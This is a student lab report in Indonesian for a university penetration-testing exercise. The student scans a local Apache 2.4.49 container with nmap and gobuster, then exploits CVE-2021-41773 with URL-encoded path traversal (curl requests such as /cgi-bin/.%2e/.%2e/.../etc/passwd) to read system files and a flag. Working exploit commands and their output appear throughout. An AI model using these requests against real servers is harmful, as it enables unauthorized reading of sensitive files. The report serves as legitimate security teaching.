



LABORATORIUM PEMBELAJARAN ILMU KOMPUTER
FAKULTAS ILMU KOMPUTER
UNIVERSITAS BRAWIJAYA

BAB : PENGUJIAN PENETRASI
NAMA : AHMAD NABIH BARIL HILMY
NIM : 2251050207111085
TANGGAL : 21/03/2024
ASISTEN : Noverdi Anugrah Ramadhan

Langkah Praktikum

1. Pada terminal Anda lakukan network scanning pada target, dengan perintah:
nmap localhost Port apa yang terbuka dan berjalan pada alamat tersebut?

```
[clayyclown@parrot]~$ nmap localhost
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-02 22:10 WIB
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00011s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE SERVICE
81/tcp    open  hosts2-ns
82/tcp    open  xfer
8080/tcp  open  http-proxy
Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds
```

Disini kita menggunakan nmap pada localhost kita untuk melihat port terbuka yang ada pada perangkat kita.

2. Selanjutnya, kita perlu mendeteksi Sistem operasi, versi, dan informasi lainnya pada port yang terbuka dan berjalan tersebut, dengan perintah:
nmap -p MasukkanPort -A -v localhost
Coba jelaskan servis apa yang berjalan pada port tersebut, dan apa kerentanan yang mungkin dimiliki pada servis tersebut?

```

PORT      STATE SERVICE VERSION
8080/tcp  open  http    Apache httpd 2.4.49 ((Unix))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.49 (Unix)
|_http-title: Site doesn't have a title (text/html)
| http-methods:
|   Supported Methods: OPTIONS HEAD GET POST TRACE
|_ Potentially risky methods: TRACE

NSE: Script Post-scanning.
Initiating NSE at 16:41
Completed NSE at 16:41, 0.00s elapsed
Initiating NSE at 16:41
Completed NSE at 16:41, 0.00s elapsed
Initiating NSE at 16:41
Completed NSE at 16:41, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap)
Service detection performed. Please report any incorrect results at https://nmap.org/support/bmit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.44 seconds
[clayyclown@parrot]~$

```

Setelah menjalankan scanning pada port terbuka pada localhost kita, ternyata kita dapati bahwa versi spesifik layanan yang menggunakan Apache httpd 2.4.49 (Unix). pada versi apache ini memiliki beberapa kerentanan didalamnya, kerentanan ini terdapat pada modul apache ini sendiri, juga pada DoS, Injection attack, directory dan path traversal.

3. Untuk mengetahui direktori atau asset yang dimiliki dari sebuah servis atau website kita dapat menggunakan tools directory scanning dengan wordlist yang sudah kita siapkan sebelumnya. Dengan menggunakan perintah:
gobuster dir -w WORDLIST.txt -u localhost

```

[~]~[clayyclown@parrot]~[~/Downloads/Praktikum KI/ki-pentesting]
$ gobuster dir -w WORDLIST.txt -u http://localhost:8080
=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://localhost:8080
[+] Method: GET
[+] Threads: 10
[+] Wordlist: WORDLIST.txt
[+] Negative status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
/assets (Status: 301) [Size: 237] [--> http://localhost:8080/assets/]
Progress: 20116 / 20117 (100.00%)
=====
Finished
=====

```

- Setelah melakukan pengumpulan informasi melalui kedua tools tersebut, kita dapat mengetahui versi apache yang digunakan pada web server tersebut adalah apache HTTP Server 2.4.49. Pada apache versi tersebut dapat kita eksploitasi untuk membaca file sensitif di dalamnya, dengan menggabungkan serangan directory traversal dengan URL encoding. Jelaskan bagaimana mekanisme serangan tersebut dapat terjadi?

localhost:80/cgi-bin/./%2e/./%2e/./%2e/./%2e/TargetPathDirectory

Setelah kita cek menggunakan tools tersebut, ternyata web server ini memakai Apache HTTP Server 2.4.49. Nah, di versi ini, ada celah keamanan yang bisa dimanfaatkan untuk masuk dan mengetahui file sensitif di dalamnya. Kita gabungkan dua teknik yaitu serangan directory traversal dan URL encoding. Dengan menggunakan dua teknik itu, kita membuat URL yang mencoba keluar dari koridor virtual menggunakan karakter-karakter khusus dan kode-kode URL encoding. Terus kita kirim URL itu ke server. kemudian Apache HTTP Server 2.4.49 ini punya celah keamanan terkait penanganan URL encoding, sehingga kita bisa masuk tanpa di cek menggunakan validasi yang benar. Sehingga, server bisa mengizinkan kita untuk akses ke file rentan dalam service tersebut, sehingga kita bisa akses file penting dan rentan didalamnya.

- Coba manfaatkan kembali tools gobuster untuk menemukan direktori yang tersembunyi dengan memanfaatkan kerentanan dari servis tersebut yang telah Anda ketahui.

gobuster dir -w WORDLIST.txt -u localhost:80/cgi-bin/./%2e/./%2e/./%2e/

```

=====
Starting gobuster in directory enumeration mode
=====
/tmp                (Status: 301) [Size: 254] [--> http://localhost:8080/cgi-bin/../../../../..
/media              (Status: 301) [Size: 256] [--> http://localhost:8080/cgi-bin/../../../../..
/bin                (Status: 301) [Size: 254] [--> http://localhost:8080/cgi-bin/../../../../..
/lib                (Status: 301) [Size: 254] [--> http://localhost:8080/cgi-bin/../../../../..
/var                (Status: 301) [Size: 254] [--> http://localhost:8080/cgi-bin/../../../../..
/dev                (Status: 301) [Size: 254] [--> http://localhost:8080/cgi-bin/../../../../..
/home               (Status: 301) [Size: 255] [--> http://localhost:8080/cgi-bin/../../../../..
/..%2eTargetPathDirectory (Status: 200) [Size: 138]
/etc                (Status: 301) [Size: 254] [--> http://localhost:8080/cgi-bin/../../../../..
/sys                (Status: 301) [Size: 254] [--> http://localhost:8080/cgi-bin/../../../../..
/usr               (Status: 301) [Size: 254] [--> http://localhost:8080/cgi-bin/../../../../..
/root              (Status: 301) [Size: 255] [--> http://localhost:8080/cgi-bin/../../../../..
/opt               (Status: 301) [Size: 254] [--> http://localhost:8080/cgi-bin/../../../../..
/Reports List      (Status: 400) [Size: 226]
/srv                (Status: 301) [Size: 254] [--> http://localhost:8080/cgi-bin/../../../../..
/external files    (Status: 400) [Size: 226]
/localhost:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/TargetDirectoryPath (Status: 400) [Size: 226]

```

disini kita melihat bahwa ada sebuah port terbuka pada laman path fileadmin dengan status 200, yang berarti request pada port tersebut berhasil dan/atau menampilkan respon yang sesuai, disini kita mengetahui letak kerentanan yang nantinya dapat kita lakukan eksploitasi lebih lanjut ke dalamnya.

Berikutnya, apabila Anda menemukan direktori yang tersembunyi dengan HTTP response 200, cobalah akses direktori tersebut dengan bantuan tools curl.

```
curl localhost:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/TargetDirectoryPath
```

Ubahlah TargetDirectoryPath menjadi direktori yang telah Anda temukan sebelumnya.

```

[clayyclown@parrot ~] - [Downloads/Praktikum KI/ki-pentesting]
$ curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/fileadmin
Note: menjadi direktori yang telah Anda temukan

//// Only For Admin!!! ////

Please check my message, I put the message inside etc directory and I give the name flag.txt
-Fahrezi
[clayyclown@parrot ~] - [Downloads/Praktikum KI/ki-pentesting]
group$ dan /etc/hostname gunakan tools curl untuk

```

- Berikutnya, untuk menguji coba lebih lanjut kerentanan yang kita temukan. Coba akses /etc/passwd, /etc/group, dan /etc/hostname gunakan tools curl untuk memudahkan serangan. Coba jelaskan apa yang Anda temukan saat mengakses file tersebut?

```
curl localhost:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/TargetDirectoryPath
```

curl <http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd>

curl <http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/group>

curl <http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/hostname>

Ketika kita melakukan masing masing command diatas, kita menemukan beberapa informasi, seperti ketika melakukan dir scanning dengan curl pada path etc/passwd dsb, maka isi dari direktori tersebut akan ditampilkan pada kita, begitu pula dengan group dan hostname.

```
$ curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21:/:/var/lib/ftp:/sbin/nologin
```

```
[clayyclown@parrot]~[~/Downloads/Praktikum KI/ki-pentesting]
$ curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/group
root:x:0:root
bin:x:1:root,bin,daemon
daemon:x:2:root,bin,daemon
sys:x:3:root,bin,adm
adm:x:4:root,adm,daemon
tty:x:5:
disk:x:6:root,adm
lp:x:7:lp
mem:x:8:
kmem:x:9:
wheel:x:10:root
floppy:x:11:root
mail:x:12:mail
news:x:13:news
uucp:x:14:uucp
man:x:15:man
cron:x:16:cron
console:x:17:
audio:x:18:
cdrom:x:19:
```

```
[clayyclown@parrot]~[~/Downloads/Praktikum KI/ki-pentesting]
$ curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/hostname
d69f0e92ab11
```

```
passwd :
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
group :
root:x:0:root
bin:x:1:root,bin,daemon
daemon:x:2:root,bin,daemon
sys:x:3:root,bin,adm
adm:x:4:root,adm,daemon
hostname :
d69f0e92ab11
```

7. Terakhir, temukan flag yang tersimpan dalam servis tersebut.

```
[*]-[clayyclown@parrot]-[~/Downloads/Praktikum KI/ki-pentesting]
└─$ curl http://localhost:8080/cgi-bin/./%2e/./%2e/./%2e/etc/flag.txt
Flag{CVE_2021_41773_Simpl3_But_D4nger0us!!!} [*]-[clayyclown@parrot]-[~/Downloads/Praktikum
ing]
└─$
```

Dengan mengubah direktori sebagaimana yang diberitahukan pada fileadmin, kita ditujukan untuk mengakses path flag.txt, dengan mengubah path tujuan, maka dapat dite temukan flag berikut :

Flag{CVE_2021_41773_Simpl3_But_D4nger0us!!!}

Kesimpulan

Pada bab ini, kita mempelajari tentang serangan directory traversal, dimana menggunakan jenis serangan ini, kita mencoba untuk mengakses file rentan dari sebuah service. dengan menggunakan nmap kita melihat jaringan terbuka dan melakukan scanning ke localhost. kemudian kita juga menggunakan gobuster untuk menemukan direktori yang tersembunyi dengan memanfaatkan kerentanan dari service. selain itu kita menggunakan tool gobuster dengan wordlist untuk menjelajah files yang ada dalam service sehingga kita dapat menemukan direktori penting yang akan kita eksploitasi.